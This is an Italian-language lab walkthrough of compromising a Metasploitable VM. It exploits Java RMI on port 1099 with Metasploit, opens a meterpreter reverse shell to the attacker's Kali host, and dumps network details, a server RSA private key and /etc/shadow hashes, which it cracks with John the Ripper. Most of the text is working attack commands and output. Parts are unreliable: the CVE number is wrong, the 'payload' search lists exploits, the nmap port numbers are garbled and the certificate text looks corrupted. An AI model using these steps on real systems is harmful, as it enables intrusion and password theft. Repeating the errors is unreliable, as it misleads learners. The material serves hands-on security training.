

Kali: 192.168.1.100

Metasploitable: 192.168.32.101

Le due macchine sono su due reti differenti entrambe connesse ad un firewall (Pfsense)

Tramite Kali Linux dobbiamo sfruttare la vulnerabilità di Java RMI sulla porta 1099

Cve 2010-2861

La CVE 2010-2861 riguarda una vulnerabilità nel protocollo Java Remote Method Invocation (RMI). Questo protocollo consente a un'applicazione Java di chiamare metodi su oggetti remoti. La vulnerabilità in questione permetteva a un attaccante di eseguire codice non autorizzato su un sistema compromesso.

Da kali avviando metasploit , cerchiamo un exploit per attaccare la porta 1099 e un payload

```
msf6 > search java_rmi
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > search payloads
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/webapp/awstats_migrate_exec 2006-05-04      excellent Yes     AWStats migrate Remote Command Execution
1  exploit/linux/http/alcatel_omnipcx_mastercgi_exec 2007-09-09      manual No      Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
2  encoder/x86/alpha_mixed                  low No      Alpha2 Alphanumeric Mixedcase Encoder
3  encoder/x86/alpha_upper                  low No      Alpha2 Alphanumeric Uppercase Encoder
4  exploit/multi/http/struts2_namespace_ognl 2018-08-22      excellent Yes     Apache Struts 2 Namespace OGNL Injection
5  exploit/multi/http/struts2_content_type_ognl 2017-03-07      excellent Yes     Apache Struts Jakarta MultiPart Parser OGNL Injection
6  exploit/multi/http/tomcat_mgr_deploy      2009-11-09      excellent Yes     Apache Tomcat Manager Application Deployer Authenticated Code Execution
7  exploit/multi/http/tomcat_mgr_upload      2009-11-09      excellent Yes     Apache Tomcat Manager Authenticated Upload Code Execution
8  exploit/multi/browser/itunes_overflow     2009-06-01      great No      Apple OS X iTunes 8.1.1 ITMS Overflow
9  exploit/osx/browser/safari_file_policy    2011-10-12      normal No      Apple Safari file:/// Arbitrary Code Execution
10 exploit/windows/http/ca_igateway_debug    2005-10-06      average Yes     CA iTechnology iGateway Debug Mode Buffer Overflow
11 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14      manual Yes     CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
12 exploit/windows/local/cve_2020_17136     2020-03-10      normal Yes     CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
13 exploit/windows/local/cve_2020_17136     2020-03-10      normal Yes     CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
```

Settiamo le impostazioni e avviamo l'exploit

```
LHOST 192.168.1.100 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id  Name
--  ---
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.32.101
rhosts => 192.168.32.101
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name          Current Setting  Required  Description
--          -
HTTPDELAY      10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS        192.168.32.101  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         1099            yes       The target port (TCP)
SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to li
sten on all addresses.
SRVPORT       8080             yes       The local port to listen on.
SSL           false           no        Negotiate SSL for incoming connections
SSLCert       Path to a custom SSL certificate (default is randomly generated)
URIPATH       no              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
--          -
LHOST         192.168.1.100  yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  ---
0   Generic (Java Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.32.101:1099 - Using URL: http://192.168.1.100:8080/4bbPLVh3sG5K07
[*] 192.168.32.101:1099 - Server started.
[*] 192.168.32.101:1099 - Sending RMI Header...
[*] 192.168.32.101:1099 - Sending RMI Call...
[*] 192.168.32.101:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.32.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.32.101:47847) at 2024-02-23 15:02:12 -0500

meterpreter > ifconfig

Interface 1
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe22:2527
IPv6 Netmask : ::

meterpreter > █
```

E verifichiamo tramite ifconfig di essere all'interno di metasploitable

Ora iniziamo a cercare delle informazioni da sfruttare per ulteriori attacchi.

Cat Intefaces (impostazioni di rete)

```

meterpreter > cd network/
meterpreter > ls
Listing: /etc/network

Mode                Size      Type    Last modified          Name
----                -
040666/rw-rw-rw-   4096    dir     2010-03-17 10:07:45 -0400  if-down.d
040666/rw-rw-rw-   4096    dir     2010-03-16 19:00:59 -0400  if-post-down.d
040666/rw-rw-rw-   4096    dir     2010-03-16 19:00:59 -0400  if-pre-up.d
040666/rw-rw-rw-   4096    dir     2010-03-17 10:07:45 -0400  if-up.d
100666/rw-rw-rw-    405    fil     2024-01-07 16:38:54 -0500  interfaces

meterpreter > cat interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
#iface eth0 inet dhcp

iface eth0 inet static
address 192.168.32.101
netmask 255.255.255.0
network 192.168.32.0
broadcast 192.168.32.255
gateway 192.168.32.1

```

Sysinfo (informazioni riguardo il sistema)

```

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter >

```

Arp -a per consultare la tabella arp con ip e mac address annessi

Dove troveremo ip e mac address di PfSense

```

meterpreter > shell
Process 1 created.
Channel 2 created.
arp -a
? (192.168.32.1) at 08:00:27:08:43:7E [ether] on eth0

```

Whoami

```

whoami
root

```

Route (tabella di routing)

```
meterpreter > route

IPv4 network routes
-----
Subnet          Netmask          Gateway          Metric  Interface
-----
127.0.0.1       255.0.0.0        0.0.0.0          0       eth0
192.168.32.101  255.255.255.0    0.0.0.0          0       eth0

IPv6 network routes
-----
Subnet          Netmask          Gateway          Metric  Interface
-----
::1             ::               ::               0       eth0
fe80::a00:27ff:fe22:2527 ::               ::               0       eth0
meterpreter >
```

Il comando `netstat -tulnp` è utilizzato per visualizzare una lista di connessioni di rete attive e delle porte in ascolto, insieme ai programmi e ai processi che lo stanno utilizzando.

-t: mostra le connessioni TCP

-u: mostra le connessioni UDP

-l: mostra le porte in ascolto

-p: mostra il PID e e il nome del programma associato a ciascuna porta/connessione

-i: mostra gli indirizzi IP e i numeri di porta senza risolverli in nomi host e servizi

```
netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*                LISTEN      4427/xinetd
tcp        0      0 0.0.0.0:2049            0.0.0.0:*                LISTEN      -
tcp        0      0 0.0.0.0:514             0.0.0.0:*                LISTEN      4427/xinetd
tcp        0      0 0.0.0.0:8009            0.0.0.0:*                LISTEN      4502/jsvc
tcp        0      0 0.0.0.0:6697            0.0.0.0:*                LISTEN      4559/unrealircd
tcp        0      0 0.0.0.0:52041           0.0.0.0:*                LISTEN      3639/rpc.statd
tcp        0      0 0.0.0.0:3306            0.0.0.0:*                LISTEN      4136/mysqld
tcp        0      0 0.0.0.0:1099            0.0.0.0:*                LISTEN      4539/rmiregistry
tcp        0      0 0.0.0.0:6667            0.0.0.0:*                LISTEN      4559/unrealircd
tcp        0      0 0.0.0.0:139             0.0.0.0:*                LISTEN      4390/smbd
tcp        0      0 0.0.0.0:57323           0.0.0.0:*                LISTEN      4314/rpc.mountd
tcp        0      0 0.0.0.0:5900            0.0.0.0:*                LISTEN      4558/Xtightvnc
tcp        0      0 0.0.0.0:111             0.0.0.0:*                LISTEN      3623/portmap
tcp        0      0 0.0.0.0:6000            0.0.0.0:*                LISTEN      4558/Xtightvnc
tcp        0      0 0.0.0.0:80              0.0.0.0:*                LISTEN      4520/apache2
tcp        0      0 0.0.0.0:54289           0.0.0.0:*                LISTEN      -
tcp        0      0 0.0.0.0:8787            0.0.0.0:*                LISTEN      4543/ruby
tcp        0      0 0.0.0.0:8180            0.0.0.0:*                LISTEN      4502/jsvc
tcp        0      0 0.0.0.0:21              0.0.0.0:*                LISTEN      4427/xinetd
tcp        0      0 192.168.32.101:53       0.0.0.0:*                LISTEN      3996/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*                LISTEN      3996/named
tcp        0      0 0.0.0.0:5432            0.0.0.0:*                LISTEN      4225/postgres
tcp        0      0 0.0.0.0:25              0.0.0.0:*                LISTEN      4381/master
tcp        0      0 127.0.0.1:953          0.0.0.0:*                LISTEN      3996/named
tcp        0      0 0.0.0.0:44635          0.0.0.0:*                LISTEN      4539/rmiregistry
tcp        0      0 0.0.0.0:445             0.0.0.0:*                LISTEN      4390/smbd
tcp6       0      0 :::2121                 :::*                    LISTEN      4445/proftpd: (acce
tcp6       0      0 :::3632                 :::*                    LISTEN      4251/distccd
tcp6       0      0 :::53                   :::*                    LISTEN      3996/named
tcp6       0      0 :::22                   :::*                    LISTEN      4018/sshd
tcp6       0      0 :::5432                 :::*                    LISTEN      4225/postgres
tcp6       0      0 :::1953                 :::*                    LISTEN      3996/named
udp        0      0 0.0.0.0:2049            0.0.0.0:*                LISTEN      -
udp        0      0 192.168.32.101:137      0.0.0.0:*                LISTEN      4388/nmbd
udp        0      0 0.0.0.0:137            0.0.0.0:*                LISTEN      4388/nmbd
udp        0      0 192.168.32.101:138     0.0.0.0:*                LISTEN      4388/nmbd
udp        0      0 0.0.0.0:138            0.0.0.0:*                LISTEN      4388/nmbd
udp        0      0 0.0.0.0:46859          0.0.0.0:*                LISTEN      -
udp        0      0 0.0.0.0:52016          0.0.0.0:*                LISTEN      3639/rpc.statd
udp        0      0 192.168.32.101:53       0.0.0.0:*                LISTEN      3996/named
udp        0      0 127.0.0.1:53            0.0.0.0:*                LISTEN      3996/named
udp        0      0 0.0.0.0:69              0.0.0.0:*                LISTEN      4427/xinetd
udp        0      0 0.0.0.0:36298           0.0.0.0:*                LISTEN      3996/named
udp        0      0 0.0.0.0:847            0.0.0.0:*                LISTEN      3639/rpc.statd
udp        0      0 0.0.0.0:47082          0.0.0.0:*                LISTEN      4314/rpc.mountd
udp        0      0 0.0.0.0:111            0.0.0.0:*                LISTEN      3623/portmap
udp6       0      0 :::44719                :::*                    LISTEN      3996/named
udp6       0      0 :::53                   :::*                    LISTEN      3996/named
```

Da qui potremmo individuare ulteriori vulnerabilità sui servizi per fare ulteriori attacchi

Chiavi e certificati di comunicazione tra server/client

```
cat server.key
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDwtBM2M5qVcXsb3nyDddpxsTypf/6tZBt36U+uvsrU+MvvrrtD
eSRz/zzlnjtt/MixrPpMTV6bTJlUC9eoSlC6qd4dH/TkawKj9GtFzUyvYliM49l
uzZhn8Qsc8FOLqCoFE6YcEZhu9G5Md+Mme51a3k8QKCuLwCQndyZDT0ktQIDAQAB
AoGBALLyuvFjK0+PwHU2/DeUcUUogKwrWTAt0qidRm06cPn5mDUDqM5D8d+bg98V
iGdKUCGL3+WiHP9eqakv/alkgnDvxiVtYGJlRym8U+BR7dXqG3FTXiU2c2ziqvz
xvkxv6pUevaJ0Rcx8/93MGJjcVY0mdmwF/Lo82Y8aySgY/+hAkEA9d3xW3dFSdoi
WYey9ycuPEG3xknTk1km2nEI0beBti4Jimx2LrvHk9S4AaSsvxGf7LZJ8W6TDCwk
pR2MGEFlzQJBAN+NViJkwsQFU0zCjtcuXusaBzW1VpgZfiFps5pm8Bcaf/LIp4vE
9r0IUBzVg/31MFAZLjXQcQi5x4gdo160okCQDtODanCWzQ1KZPu53w2NzDRqUJr
DF2+Y2DNYu6JFQCcmjCJePhM0xcVeEztK73qwmijWj79srIuDGLO5jNFM9QECQC3
QAptYx9sw9jGwW2J4o8YNNVvXoPB8+di01wrM9Li2l5hukiEVp72Csz/IgxYRpV2X
f8gQ5RMaDmpZ/c5wp0/RAkEAj9nBA+7+HTWqiUefmIe2vYxHwGK4kn0iso/P5ras
rhZClVzAKDYOh5G2f62FGvYGAzpVZfn2wtbHqmxRl7RtQ=
-----END RSA PRIVATE KEY-----

cat server.crt
-----BEGIN CERTIFICATE-----
MIIDWzCCAsQCCQD6+TpMf7a5zDANBgkqhkiG9w0BAQUFADC8TElMAkGA1UEBhMC
WFgxKjAoBgNVBAGTIIVRoZXJlIGlzIG5vIHNN1Y2ggdGhpbmcb3V0c2lkZSBVUzET
MBEGA1UEBxMKRXZlcnl3aGVyZTEOMAwGA1UEChMFT0NPU0ExPDA6BgNVBAsTM09m
ZmljZSBmb3IgaG9wY2F0aW9uIG9mIE90aGVyd2l2ZSBTaW1wbGUgQWZmYWly
czEjMCEGA1UEAxMAdWJ1bnR1ODA0LWJhc2UubG9jYXxkb21haW4xLjAsBgkqhkiG
9w0BCQEWH3Jvb3RAdWJ1bnR1ODA0LWJhc2UubG9jYXxkb21haW4wHhcNMTAwMzE3
MTQwNzQ1WhcNMTAwNDE2MTQwNzQ1WjCB8TElMAkGA1UEBhMCWFgxKjAoBgNVBAGT
IVRoZXJlIGlzIG5vIHNN1Y2ggdGhpbmcb3V0c2lkZSBVUzETMBEGA1UEBxMKRXZl
cnl3aGVyZTEOMAwGA1UEChMFT0NPU0ExPDA6BgNVBAsTM09mZmljZSBmb3IgaG9w
Y2F0aW9uIG9mIE90aGVyd2l2ZSBTaW1wbGUgQWZmYWlyczEjMCEGA1UEAxMA
dWJ1bnR1ODA0LWJhc2UubG9jYXxkb21haW4xLjAsBgkqhkiG9w0BCQEWH3Jvb3R
AdWJ1bnR1ODA0LWJhc2UubG9jYXxkb21haW4wZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBANa0EzYzmpVxexvefIN12nGxPKL//q1kG3fPT66+ytT4y++uu0N5JHP/
POWe0238yLGs+KXNptMmVQL16hKULqp3h0f90RrAqP0a0XNTK+NiWiZj2W7NmGf
xCxzwU4uoKgUTphwRmG70bkx34yZ7nVreTxAoK6XAJCd3JkNM6S1AgMBAAEwDQYJ
KoZIhvcNAQEFBQADgYEAkqS0uBRVYyVRsgvDKiLP0vgXagzPZqqnZS9Ibc3jPlyf
d2zURFQfHoRPjtSN3awtiAkhqNpWLKkFPEloNRl1DNpTI4iIGS10JsEiZe4RaINq
U0qcJ8ugtOmNKQyyPBhcZ8xTph4w0Komex6uQLkPAWwuvKIZlHwVbo0wOPbKLnU=
-----END CERTIFICATE-----
```

Ssh configurazione


```

kali@kali:~$ cat ssh_config
# This is the ssh client system-wide configuration file. See
# ssh_config(5) for more information. This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.

Configuration data is parsed as follows:
1. command line options
2. user-specific file
3. system-wide file

Any configuration value is only changed the first time it is set.
Thus, host-specific definitions should be at the beginning of the
configuration file, and defaults at the end.

Site-wide defaults for some commonly used options. For a comprehensive
list of available options, their meanings and defaults, please see the
ssh_config(5) man page.

Host *
ForwardAgent no
ForwardX11 no
ForwardX11Trusted yes
RhostsRSAAuthentication no
RSAAuthentication yes
PasswordAuthentication yes
HostbasedAuthentication no
GSSAPIAuthentication no
GSSAPIDelegateCredentials no
GSSAPIKeyExchange no
GSSAPITrustDNS no
BatchMode no
CheckHostIP yes
AddressFamily any
ConnectTimeout 0
StrictHostKeyChecking ask
IdentityFile ~/.ssh/identity
IdentityFile ~/.ssh/id_rsa
IdentityFile ~/.ssh/id_dsa
Port 22
Protocol 2,1
Cipher 3des
Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160
EscapeChar ~
Tunnel no
TunnelDevice any:any
PermitLocalCommand no
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
GSSAPIDelegateCredentials no

```

Cat Key ssh

[illegible]

Utenti ssh

```

pwd
/etc
cd shadow
/bin/sh: line 3: cd: shadow: Not a directory
cat shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
backup*:14684:0:99999:7:::
list*:14684:0:99999:7:::
irc*:14684:0:99999:7:::
gnats*:14684:0:99999:7:::
nobody*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcpc*:14684:0:99999:7:::
syslog*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind*:14685:0:99999:7:::
postfix*:14685:0:99999:7:::
ftp*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55*:14691:0:99999:7:::
distccd*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd*:15474:0:99999:7:::

```

```

$ nmap -sS 192.168.32.101
Starting Nmap 7.94SVN (https://nmap.org)
Nmap scan report for 192.168.32.101
Host is up (0.010s latency).
Not shown: 999 closed tcp ports (reset)
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open netbios-ssn
512/tcp open exec
514/tcp open tcpwrapped
599/tcp open java-vm
6049/tcp open nfs
6121/tcp open ftp
6306/tcp open mysql
6432/tcp open postgresql
5900/tcp open vnc
6000/tcp open x11
6067/tcp open irc
6089/tcp open api3
6160/tcp open http

```

Nmap done: 1 IP address (1 host) scanned

Sfruttiamo il comando unshadow per unire i file shadow con i file passwd per poi crackare gli hash con John The Ripper

```
(kali㉿kali)-[~]
$ unshadow /home/kali/Desktop/passwd /home/kali/Desktop/hash\ completi > fileuniti.txt

(kali㉿kali)-[~]
$ pwd
/home/kali

(kali㉿kali)-[~]
$ ls
Bad-Robo  ex_elevate      gameshell.1  Infoga  Pictures  udp_client.py
CamPhish  Fast-Google-Dorks-Scan gameshell.2  iphack.zip  Public    udp_client.py.save
Desktop   file2.txt       gameshell.3  json      received_file.txt  udp_client.py.save.1
Documents file.txt        gameshell-save.sh linuxinstall.sh slowhttp.csv  v
dos       fileuniti.txt   gameshell.sh  mosint    slowhttp.html  Videos
Downloads gameshell       hydra.restore Music      Templates

(kali㉿kali)-[~]
$ mv /home/kali/fileuniti.txt /home/kali/Desktop

(kali㉿kali)-[~]
$ john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-dup.txt /home/kali/Desktop/fileuniti.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Remaining 3 password hashes with 3 different salts
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:06 DONE (2024-02-23 16:21) 0g/s 122736p/s 368209c/s 368209C/s 00011000..d+
Session completed.

(kali㉿kali)-[~]
$ john --show /home/kali/Desktop/fileuniti.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,:/home/service:/bin/bash

4 password hashes cracked, 3 left
```

```
(kali㉿kali)-[~]
$ john --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-dup.txt /home/kali/Desktop/hash\ metasploitable
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (?)
batman (?)
service (?)
user (?)
4g 0:00:00:06 DONE (2024-02-23 16:12) 0.6451g/s 121746p/s 366230c/s 366230C/s 00011000..d+
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~]
$ john --show
Password files required, but none specified

(kali㉿kali)-[~]
$ john --show /home/kali/Desktop/hash\ metasploitable
?:batman
?:123456789
?:user
?:service

4 password hashes cracked, 3 left
```